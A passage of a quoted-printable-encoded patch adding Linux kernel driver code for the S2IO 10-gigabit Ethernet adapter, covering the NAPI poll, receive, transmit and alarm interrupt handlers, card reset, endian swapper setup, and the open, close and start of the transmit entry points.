+ * the same thing that rxIntrHandler does, but not in a interrupt = context=0A= + * also It will process only a given number of packets.=0A= + */=0A= +#ifdef CONFIG_S2IO_NAPI=0A= +static int s2io_poll(struct net_device *dev, int *budget)=0A= +{=0A= + nic_t *nic =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + int pkts_to_process =3D *budget, pkt_cnt =3D 0;=0A= + register u64 val64 =3D 0;=0A= + rx_curr_get_info_t offset_info;=0A= + int i, block_no;=0A= + u16 val16, cksum;=0A= + struct sk_buff *skb;=0A= + RxD_t *rxdp;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + if (pkts_to_process > dev->quota)=0A= + pkts_to_process =3D dev->quota;=0A= +=0A= + val64 =3D read64(&bar0->rx_traffic_int);=0A= + write64(&bar0->rx_traffic_int, val64);=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + if (--pkts_to_process < 0) {=0A= + goto no_rx;=0A= + }=0A= + offset_info =3D mac_control->rx_curr_get_info[i];=0A= + block_no =3D offset_info.block_index;=0A= + rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + while (!(rxdp->Control_1 & RXD_OWN_XENA)) {=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + rxdp =3D=0A= + (RxD_t *) ((unsigned long) rxdp->=0A= + Control_2);=0A= + offset_info.offset++;=0A= + offset_info.offset %=3D=0A= + (MAX_RXDS_PER_BLOCK + 1);=0A= + block_no++;=0A= + block_no %=3D nic->block_count[i];=0A= + mac_control->rx_curr_get_info[i].=0A= + offset =3D offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].=0A= + block_index =3D block_no;=0A= + continue;=0A= + }=0A= + skb =3D=0A= + (struct sk_buff *) ((unsigned long) rxdp->=0A= + Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: The skb is ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Null in Rx Intr\n");=0A= + return 0;=0A= + }=0A= + val64 =3D RXD_GET_BUFFER0_SIZE(rxdp->Control_2);=0A= + val16 =3D (u16) (val64 >> 48);=0A= + cksum =3D RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= + pci_unmap_single(nic->pdev, (dma_addr_t)=0A= + rxdp->Buffer0_ptr,=0A= + dev->mtu +=0A= + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE +=0A= + HEADER_SNAP_SIZE,=0A= + PCI_DMA_FROMDEVICE);=0A= + rxOsmHandler(nic, val16, rxdp, i);=0A= + pkt_cnt++;=0A= + offset_info.offset++;=0A= + offset_info.offset %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + rxdp =3D=0A= + nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].offset =3D=0A= + offset_info.offset;=0A= + }=0A= + }=0A= + if (!pkt_cnt)=0A= + pkt_cnt =3D 1;=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++)=0A= + fill_rx_buffers(nic, i);=0A= +=0A= + dev->quota -=3D pkt_cnt;=0A= + *budget -=3D pkt_cnt;=0A= + netif_rx_complete(dev);=0A= +=0A= +/* Re enable the Rx interrupts. */=0A= + en_dis_able_NicIntrs(nic, RX_TRAFFIC_INTR, ENABLE_INTRS);=0A= + return 0;=0A= +=0A= + no_rx:=0A= + for (i =3D 0; i < config->RxRingNum; i++)=0A= + fill_rx_buffers(nic, i);=0A= + dev->quota -=3D pkt_cnt;=0A= + *budget -=3D pkt_cnt;=0A= + return 1;=0A= +}=0A= +#else=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable.=0A= + * Return Value: =0A= + * NONE.=0A= + * Description: =0A= + * If the interrupt is because of a received frame or if the =0A= + * receive ring contains fresh as yet un-processed frames, this = function is=0A= + * called. It picks out the RxD at which place the last Rx processing = had =0A= + * stopped and sends the skb to the OSM's Rx handler and then = increments =0A= + * the offset.=0A= + */=0A= +static void rxIntrHandler(struct s2io_nic *nic)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) nic->dev;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + rx_curr_get_info_t offset_info;=0A= + RxD_t *rxdp;=0A= + struct sk_buff *skb;=0A= + u16 val16, cksum;=0A= + register u64 val64 =3D 0;=0A= + int i, block_no;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= +#if DEBUG_ON=0A= + nic->rxint_cnt++;=0A= +#endif=0A= +=0A= +/* rx_traffic_int reg is an R1 register, hence we read and write back =0A= + * the samevalue in the register to clear it.=0A= + */=0A= + val64 =3D read64(&bar0->rx_traffic_int);=0A= + write64(&bar0->rx_traffic_int, val64);=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + offset_info =3D mac_control->rx_curr_get_info[i];=0A= + block_no =3D offset_info.block_index;=0A= + rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + while (!(rxdp->Control_1 & RXD_OWN_XENA)) {=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + rxdp =3D (RxD_t *) ((unsigned long)=0A= + rxdp->Control_2);=0A= + offset_info.offset++;=0A= + offset_info.offset %=3D=0A= + (MAX_RXDS_PER_BLOCK + 1);=0A= + block_no++;=0A= + block_no %=3D nic->block_count[i];=0A= + mac_control->rx_curr_get_info[i].=0A= + offset =3D offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].=0A= + block_index =3D block_no;=0A= + continue;=0A= + }=0A= + skb =3D (struct sk_buff *) ((unsigned long)=0A= + rxdp->Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: The skb is ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Null in Rx Intr\n");=0A= + return;=0A= + }=0A= + val64 =3D RXD_GET_BUFFER0_SIZE(rxdp->Control_2);=0A= + val16 =3D (u16) (val64 >> 48);=0A= + cksum =3D RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= + pci_unmap_single(nic->pdev, (dma_addr_t)=0A= + rxdp->Buffer0_ptr,=0A= + dev->mtu +=0A= + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE +=0A= + HEADER_SNAP_SIZE,=0A= + PCI_DMA_FROMDEVICE);=0A= + rxOsmHandler(nic, val16, rxdp, i);=0A= + offset_info.offset++;=0A= + offset_info.offset %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + rxdp =3D=0A= + nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].offset =3D=0A= + offset_info.offset;=0A= + }=0A= + }=0A= +}=0A= +#endif=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable=0A= + * Return Value: =0A= + * NONE=0A= + * Description: =0A= + * If an interrupt was raised to indicate DMA complete of the =0A= + * Tx packet, this function is called. It identifies the last TxD = whose buffer=0A= + * was freed and frees all skbs whose data have already DMA'ed into = the NICs=0A= + * internal memory.=0A= + */=0A= +static void txIntrHandler(struct s2io_nic *nic)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + struct net_device *dev =3D (struct net_device *) nic->dev;=0A= + tx_curr_get_info_t offset_info, offset_info1;=0A= + struct sk_buff *skb;=0A= + TxD_t *txdlp;=0A= + register u64 val64 =3D 0;=0A= + int i;=0A= + u16 j, frg_cnt;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + unsigned long flags =3D 0;=0A= +#if DEBUG_ON=0A= + int cnt =3D 0;=0A= + nic->txint_cnt++;=0A= +#endif=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= +/* tx_traffic_int reg is an R1 register, hence we read and write back =0A= +* the samevalue in the register to clear it.=0A= +*/=0A= + val64 =3D read64(&bar0->tx_traffic_int);=0A= + write64(&bar0->tx_traffic_int, val64);=0A= +=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + offset_info =3D mac_control->tx_curr_get_info[i];=0A= + offset_info1 =3D mac_control->tx_curr_put_info[i];=0A= + txdlp =3D mac_control->txdl_start[i] +=0A= + (config->MaxTxDs * offset_info.offset);=0A= + while ((!(txdlp->Control_1 & TXD_LIST_OWN_XENA)) &&=0A= + (offset_info.offset !=3D offset_info1.offset) &&=0A= + (txdlp->Host_Control)) {=0A= + /* Check for TxD errors */=0A= + if (txdlp->Control_1 & TXD_T_CODE) {=0A= + unsigned long long err;=0A= + err =3D txdlp->Control_1 & TXD_T_CODE;=0A= + DBG_PRINT(ERR_DBG, "***TxD error %llx\n",=0A= + err);=0A= + }=0A= +=0A= + skb =3D (struct sk_buff *) ((unsigned long)=0A= + txdlp->Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: Null skb ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "in Tx Free Intr\n");=0A= + return;=0A= + }=0A= + nic->tx_pkt_count++;=0A= +=0A= + frg_cnt =3D skb_shinfo(skb)->nr_frags;=0A= +=0A= + /* For unfragmented skb */=0A= + if (!frg_cnt) {=0A= + pci_unmap_single(nic->pdev, (dma_addr_t)=0A= + txdlp->Buffer_Pointer,=0A= + skb->len,=0A= + PCI_DMA_TODEVICE);=0A= + } else {=0A= + TxD_t *txdp =3D txdlp;=0A= +=0A= + pci_unmap_single(nic->pdev, (dma_addr_t)=0A= + txdlp->Buffer_Pointer,=0A= + skb->len - skb->data_len,=0A= + PCI_DMA_TODEVICE);=0A= +=0A= + for (j =3D 0; j < frg_cnt; j++) {=0A= + skb_frag_t *frag =3D=0A= + &skb_shinfo(skb)->frags[j];=0A= +=0A= + txdp++;=0A= + pci_unmap_single(nic->pdev,=0A= + (dma_addr_t)=0A= + txdp->=0A= + Buffer_Pointer,=0A= + frag->size,=0A= + PCI_DMA_TODEVICE);=0A= + }=0A= +=0A= + }=0A= +=0A= + dev_kfree_skb_irq(skb);=0A= + memset(txdlp, 0,=0A= + (sizeof(TxD_t) * config->MaxTxDs));=0A= + /* Updating the statistics block */=0A= + nic->stats.tx_packets++;=0A= + nic->stats.tx_bytes +=3D skb->len;=0A= +#if DEBUG_ON=0A= + nic->txpkt_bytes +=3D skb->len;=0A= + cnt++;=0A= +#endif=0A= + offset_info.offset++;=0A= + offset_info.offset %=3D offset_info.fifo_len + 1;=0A= + txdlp =3D mac_control->txdl_start[i] +=0A= + (config->MaxTxDs * offset_info.offset);=0A= + mac_control->tx_curr_get_info[i].offset =3D=0A= + offset_info.offset;=0A= + }=0A= +#if DEBUG_ON=0A= + DBG_PRINT(INTR_DBG, "%s: freed %d Tx Pkts\n", dev->name,=0A= + cnt);=0A= +#endif=0A= + }=0A= +=0A= + spin_lock_irqsave(&nic->tx_lock, flags);=0A= + if (netif_queue_stopped(dev))=0A= + netif_wake_queue(dev);=0A= + spin_unlock_irqrestore(&nic->tx_lock, flags);=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable=0A= + * Return Value: =0A= + * NONE=0A= + * Description: =0A= + * If the interrupt was neither because of Rx packet or Tx =0A= + * complete, this function is called. If the interrupt was to indicate = a loss=0A= + * of link, the OSM link status handler is invoked for any other alarm =0A= + * interrupt the block that raised the interrupt is displayed and a = H/W reset =0A= + * is issued.=0A= + */=0A= +static void alarmIntrHandler(struct s2io_nic *nic)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) nic->dev;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + int quiescence_flag =3D FALSE, cnt =3D 0;=0A= + register u64 val64 =3D 0;=0A= +=0A= +/* Handling link status change error Intr */=0A= + val64 =3D read64(&bar0->mac_rmac_err_reg);=0A= + if (val64 & RMAC_LINK_STATE_CHANGE_INT) {=0A= + val64 =3D read64(&bar0->adapter_status);=0A= + if (verify_xena_quiescence(val64, nic->device_enabled_once)=0A= + =3D=3D TRUE) {=0A= + do {=0A= + val64 =3D read64(&bar0->adapter_status);=0A= + if (!=0A= + (val64 &=0A= + (ADAPTER_STATUS_RMAC_REMOTE_FAULT |=0A= + ADAPTER_STATUS_RMAC_LOCAL_FAULT))) {=0A= + val64 =3D=0A= + read64(&bar0->adapter_control);=0A= + val64 |=3D ADAPTER_CNTL_EN;=0A= + write64(&bar0->adapter_control,=0A= + val64);=0A= + val64 |=3D ADAPTER_LED_ON;=0A= + write64(&bar0->adapter_control,=0A= + val64);=0A= + val64 =3D=0A= + read64(&bar0->adapter_status);=0A= + if ((val64 &=0A= + (ADAPTER_STATUS_RMAC_REMOTE_FAULT=0A= + |=0A= + ADAPTER_STATUS_RMAC_LOCAL_FAULT)))=0A= + {=0A= + DBG_PRINT(ERR_DBG, "%s:",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG,=0A= + " Link down");=0A= + DBG_PRINT(ERR_DBG,=0A= + "after ");=0A= + DBG_PRINT(ERR_DBG,=0A= + "enabling ");=0A= + DBG_PRINT(ERR_DBG,=0A= + "device \n");=0A= + cnt++;=0A= + continue;=0A= + }=0A= + if (nic->device_enabled_once =3D=3D=0A= + FALSE) {=0A= + nic->device_enabled_once =3D=0A= + TRUE;=0A= + }=0A= + s2io_link(nic, 1);=0A= + break;=0A= + }=0A= + cnt++;=0A= + if (cnt > 10) {=0A= + s2io_link(nic, 0);=0A= + break;=0A= + }=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ/20); =0A= + } while (TRUE);=0A= + quiescence_flag =3D TRUE;=0A= + }=0A= + }=0A= + /* Acknowledge interrupt and clear the R1 register */=0A= + val64 =3D read64(&bar0->mac_rmac_err_reg);=0A= + write64(&bar0->mac_rmac_err_reg, val64);=0A= +=0A= + if (quiescence_flag =3D=3D FALSE) {=0A= + /*=0A= + * The Device could not reach quiescence state. Stopping device=0A= + * Xmit queue. This inturn will force a H/W reset in the =0A= + * Tx_Timeou function.=0A= + */=0A= + DBG_PRINT(ERR_DBG, "%s: from Link Intr, ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "device is not Quiescent\n");=0A= + netif_stop_queue(dev);=0A= + }=0A= +=0A= + /* Handling SERR errors by stopping device Xmit queue and forcing =0A= + * a H/W reset.=0A= + */=0A= + val64 =3D read64(&bar0->serr_source);=0A= + if (val64 & SERR_SOURCE_ANY) {=0A= + DBG_PRINT(ERR_DBG, "%s: Device indicates ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "serious error!!\n");=0A= + netif_stop_queue(dev);=0A= + }=0A= +/* Other type of interrupts are not being handled now, TODO*/=0A= +}=0A= +=0A= +/*=0A= + * Input Argument: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * Return value:=0A= + * SUCCESS on success and FAILURE on failure.=0A= + * Description:=0A= + * Function that waits for a command to Write into RMAC ADDR DATA = registers =0A= + * to be completed and returns either success or error depending on = whether =0A= + * the command was complete or not. =0A= + */=0A= +int waitForCmdComplete(nic_t * sp)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + int ret =3D FAILURE, cnt =3D 0;=0A= + u64 val64;=0A= +=0A= + while (TRUE) {=0A= + val64 =3D=0A= + RMAC_ADDR_CMD_MEM_RD | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD=0A= + | RMAC_ADDR_CMD_MEM_OFFSET(0);=0A= + write64(&bar0->rmac_addr_cmd_mem, val64);=0A= + val64 =3D read64(&bar0->rmac_addr_cmd_mem);=0A= + if (!val64) {=0A= + ret =3D SUCCESS;=0A= + break;=0A= + }=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(5);=0A= + if (cnt++ > 10)=0A= + break;=0A= + }=0A= +=0A= + return ret;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * Return value:=0A= + * void.=0A= + * Description:=0A= + * Function to Reset the card. This function then also restores the = previously=0A= + * saved PCI configuration space registers as the card reset also = resets the=0A= + * Configration space.=0A= + */=0A= +void s2io_reset(nic_t * sp)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64;=0A= + u16 subid;=0A= +=0A= + val64 =3D SW_RESET_ALL;=0A= + write64(&bar0->sw_reset, val64);=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(30);=0A= +=0A= +/* Restore the PCI state saved during initializarion. */=0A= + pci_restore_state(sp->pdev, sp->config_space);=0A= + /*Grisha */=0A= + s2io_init_pci(sp);=0A= +=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(30);=0A= +=0A= + val64 =3D read64(&bar0->xmsi_address);=0A= +=0A= + /* SXE-002: Configure link and activity LED to turn it off */=0A= + subid =3D sp->pdev->subsystem_device;=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D read64(&bar0->gpio_control);=0A= + val64 |=3D 0x0000800000000000ULL;=0A= + write64(&bar0->gpio_control, val64);=0A= + val64 =3D 0x0411040400000000ULL;=0A= + write64((u64 *) ((u8 *) bar0 + 0x2700), val64);=0A= + }=0A= +=0A= + sp->device_enabled_once =3D FALSE;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * Return value:=0A= + * SUCCESS on success and FAILURE on failure.=0A= + * Description:=0A= + * Function to set the swapper control on the card correctly depending = on the=0A= + * 'endianness' of the system.=0A= + */=0A= +int s2io_set_swapper(nic_t * sp)=0A= +{=0A= + struct net_device *dev =3D sp->dev;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64;=0A= +=0A= +/* Set proper endian settings and verify the same by reading the PIF =0A= + * Feed-back register.=0A= + */=0A= +#ifdef __BIG_ENDIAN=0A= +/* The device by default set to a big endian format, so a big endian =0A= + * driver need not set anything.=0A= + */=0A= + write64(&bar0->swapper_ctrl, 0xffffffffffffffffULL);=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= + write64(&bar0->swapper_ctrl, val64);=0A= +#else=0A= +/* Initially we enable all bits to make it accessible by the driver,=0A= + * then we selectively enable only those bits that we want to set.=0A= + */=0A= + write64(&bar0->swapper_ctrl, 0xffffffffffffffffULL);=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_R_SE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXD_W_SE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_R_SE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXD_W_SE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= + write64(&bar0->swapper_ctrl, val64);=0A= +#endif=0A= +=0A= +/* Verifying if endian settings are accurate by reading a feedback=0A= + * register.=0A= + */=0A= + val64 =3D read64(&bar0->pif_rd_swapper_fb);=0A= + if (val64 !=3D 0x0123456789ABCDEFULL) {=0A= + /* Endian settings are incorrect, calls for another dekko. */=0A= + DBG_PRINT(ERR_DBG, "%s: Endian settings are wrong, ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "feedback read %llx\n", =0A= + (unsigned long long)val64);=0A= + return FAILURE;=0A= + }=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/* ********************************************************* */=0A= +/* Functions defined below concern the OS part of the driver */=0A= +/* ********************************************************* */=0A= +/*=0A= + * Input Argument: =0A= + * dev - pointer to the device structure.=0A= + * Return value:=0A= + * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= + * file on failure.=0A= + * Description:=0A= + * This function is the open entry point of the driver. It mainly = calls a=0A= + * function to allocate Rx buffers and inserts them into the buffer=0A= + * descriptors and then enables the Rx part of the NIC. =0A= + */=0A= +int s2io_open(struct net_device *dev)=0A= +{=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + int i, ret =3D 0;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= +=0A= +/* Make sure you have link off by default every time Nic is = initialized*/=0A= + netif_carrier_off(dev);=0A= +=0A= +/* Initialize the H/W I/O registers */=0A= + if (initNic(sp) !=3D 0) {=0A= + DBG_PRINT(ERR_DBG, "%s: H/W initialization failed\n",=0A= + dev->name);=0A= + return FAILURE;=0A= + }=0A= +=0A= +/* After proper initialization of H/W, register ISR */=0A= + if (request_irq((int) sp->irq, s2io_isr, SA_SHIRQ, sp->name, dev)) {=0A= + s2io_reset(sp);=0A= + DBG_PRINT(ERR_DBG, "%s: ISR registration failed\n",=0A= + dev->name);=0A= + return FAILURE;=0A= + }=0A= + if(s2io_set_mac_addr(dev, dev->dev_addr) =3D=3D FAILURE){=0A= + DBG_PRINT(ERR_DBG, "Set Mac Address Failed\n");=0A= + s2io_reset(sp);=0A= + return FAILURE;=0A= + }=0A= +=0A= +=0A= +/* Setting its receive mode */=0A= + s2io_set_multicast(dev);=0A= +=0A= +/* Initializing the Rx buffers. For now we are considering only 1 Rx = ring=0A= + * and initializing buffers into 1016 RxDs or 8 Rx blocks=0A= + */=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + if ((ret =3D fill_rx_buffers(sp, i))) {=0A= + DBG_PRINT(ERR_DBG, "%s: Out of memory in Open\n",=0A= + dev->name);=0A= + s2io_reset(sp);=0A= + free_irq(dev->irq, dev);=0A= + freeRxBuffers(sp);=0A= + return -ENOMEM;=0A= + }=0A= + DBG_PRINT(INFO_DBG, "Buf in ring:%d is %d:\n", i,=0A= + atomic_read(&sp->rx_bufs_left[i]));=0A= + }=0A= +=0A= +/* Enable tasklet for the device */=0A= + tasklet_init(&sp->task, s2io_tasklet, (unsigned long) dev);=0A= +=0A= +/* Enable Rx Traffic and interrupts on the NIC */=0A= + if (startNic(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Starting NIC failed\n", dev->name);=0A= + tasklet_kill(&sp->task);=0A= + s2io_reset(sp);=0A= + free_irq(dev->irq, dev);=0A= + freeRxBuffers(sp);=0A= + return FAILURE;=0A= + }=0A= +=0A= + sp->device_close_flag =3D FALSE; /* Device is up and running. */=0A= + netif_start_queue(dev);=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - device pointer.=0A= + * Return value:=0A= + * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= + * file on failure.=0A= + * Description:=0A= + * This is the stop entry point of the driver. It needs to undo exactly=0A= + * whatever was done by the open entry point, thus it's usually = referred to=0A= + * as the close function. Among other things this function mainly = stops the=0A= + * Rx side of the NIC and frees all the Rx buffers in the Rx rings.=0A= + */=0A= +int s2io_close(struct net_device *dev)=0A= +{=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + register u64 val64 =3D 0;=0A= + u16 cnt =3D 0;=0A= +=0A= + spin_lock(&sp->isr_lock);=0A= + netif_stop_queue(dev);=0A= +=0A= +/* disable Tx and Rx traffic on the NIC */=0A= + stopNic(sp);=0A= +=0A= + spin_unlock(&sp->isr_lock);=0A= +=0A= +/* If the device tasklet is running, wait till its done before killing = it */=0A= + while (atomic_read(&(sp->tasklet_status))) {=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(10);=0A= + }=0A= + tasklet_kill(&sp->task);=0A= +=0A= +/* Check if the device is Quiescent and then Reset the NIC */=0A= + do {=0A= + val64 =3D read64(&bar0->adapter_status);=0A= + if (verify_xena_quiescence(val64, sp->device_enabled_once)=0A= + =3D=3D TRUE) {=0A= + break;=0A= + }=0A= +=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(5);=0A= + cnt++;=0A= + if (cnt =3D=3D 10) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "s2io_close:Device not Quiescent ");=0A= + DBG_PRINT(ERR_DBG, "adaper status reads 0x%llx\n",=0A= + (unsigned long long)val64);=0A= + break;=0A= + }=0A= + } while (1);=0A= + s2io_reset(sp);=0A= +=0A= +/* Free the Registered IRQ */=0A= + free_irq(dev->irq, dev);=0A= +=0A= +/* Free all Tx Buffers waiting for transmission */=0A= + freeTxBuffers(sp);=0A= +=0A= +/* Free all Rx buffers allocated by host */=0A= + freeRxBuffers(sp);=0A= +=0A= + sp->device_close_flag =3D TRUE; /* Device is shut down. */=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * skb - the socket buffer containing the Tx data.=0A= + * dev - device pointer.=0A= + * Return value:=0A= + * always SUCCESS. =0A= + * NOTE: when device cant queue the pkt, just the trans_start variable = will=0A= + * not be upadted.=0A= + * Description:=0A= + * This function is the Tx entry point of the driver. S2IO NIC supports=0A= + * certain protocol assist features on Tx side, namely CSO, S/G, LSO.=0A= + */=0A= +int s2io_xmit(struct sk_buff *skb, struct net_device *dev)=0A= +{=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + u16 off, txd_len, frg_cnt, frg_len, i, queue, off1;=0A= + register u64 val64;=0A= + TxD_t *txdp;=0A= + TxFIFO_element_t *tx_fifo;=0A= + unsigned long flags;=0A= +#ifdef NETIF_F_TSO=0A= + int mss;=0A= +#endif=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + DBG_PRINT(TX_DBG, "%s: In S2IO Tx routine\n", dev->name);=0A= +=0A= + spin_lock_irqsave(&sp->tx_lock, flags);=0A= +=0A= + queue =3D 0;=0A= + /* Multi FIFO Tx is disabled for now. */=0A= + if (!queue && tx_prio) {=0A= + u8 x =3D (skb->data)[5];=0A= + queue =3D x % config->TxFIFONum;=0A= + }=0A= +=0A= +=0A= + off =3D (u16) mac_control->tx_curr_put_info[queue].offset;=0A= + off1 =3D (u16) mac_control->tx_curr_get_info[queue].offset;=0A= + txd_len =3D mac_control->txdl_len;=0A= + txdp =3D mac_control->txdl_start[queue] + (config->MaxTxDs * off);=0A= +=0A= + /* Avoid "put" pointer going beyond "get" pointer */=0A= + if ((txdp->Host_Control) ||=0A= + (((off +=0A= + 1) % (mac_control->tx_curr_put_info[queue].fifo_len + 1))=0A= + =3D=3D off1)) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "No free TXDs for now, put: 0x%x, get:0x%x\n",=0A= + off, off1);=0A= + goto no_txd;=0A= + }=0A= +#ifdef NETIF_F_TSO=0A= + mss =3D skb_shinfo(skb)->tso_size;=0A= + if (mss) {=0A= + txdp->Control_1 |=3D TXD_TCP_LSO_EN;=0A= + txdp->Control_1 |=3D TXD_TCP_LSO_MSS(mss);=0A= + }=0A= +#endif=0A= +=0A= + frg_cnt =3D skb_shinfo(skb)->nr_frags;=0A= + frg_len =3D skb->len - skb->data_len;=0A= +=0A= + txdp->Host_Control =3D (unsigned long) skb;=0A= + txdp->Buffer_Pointer =3D pci_map_single=0A= + (sp->pdev, skb->data, frg_len, PCI_DMA_TODEVICE);=0A= + if (skb->ip_summed =3D=3D CHECKSUM_HW) {=0A= + txdp->Control_2 |=3D=0A= + (TXD_TX_CKO_IPV4_EN | TXD_TX_CKO_TCP_EN |=0A= + TXD_TX_CKO_UDP_EN);=0A= + }=0A= +=0A= + txdp->Control_2 |=3D config->TxIntrType;=0A= +=0A= +/* The NIC is made the owner of the TxDL */=0A= + txdp->Control_1 |=3D (TXD_BUFFER0_SIZE(frg_len) |=0A= + TXD_GATHER_CODE_FIRST);=0A= + txdp->Control_1 |=3D TXD_LIST_OWN_XENA;=0A= +=0A= +/* If the SKB is 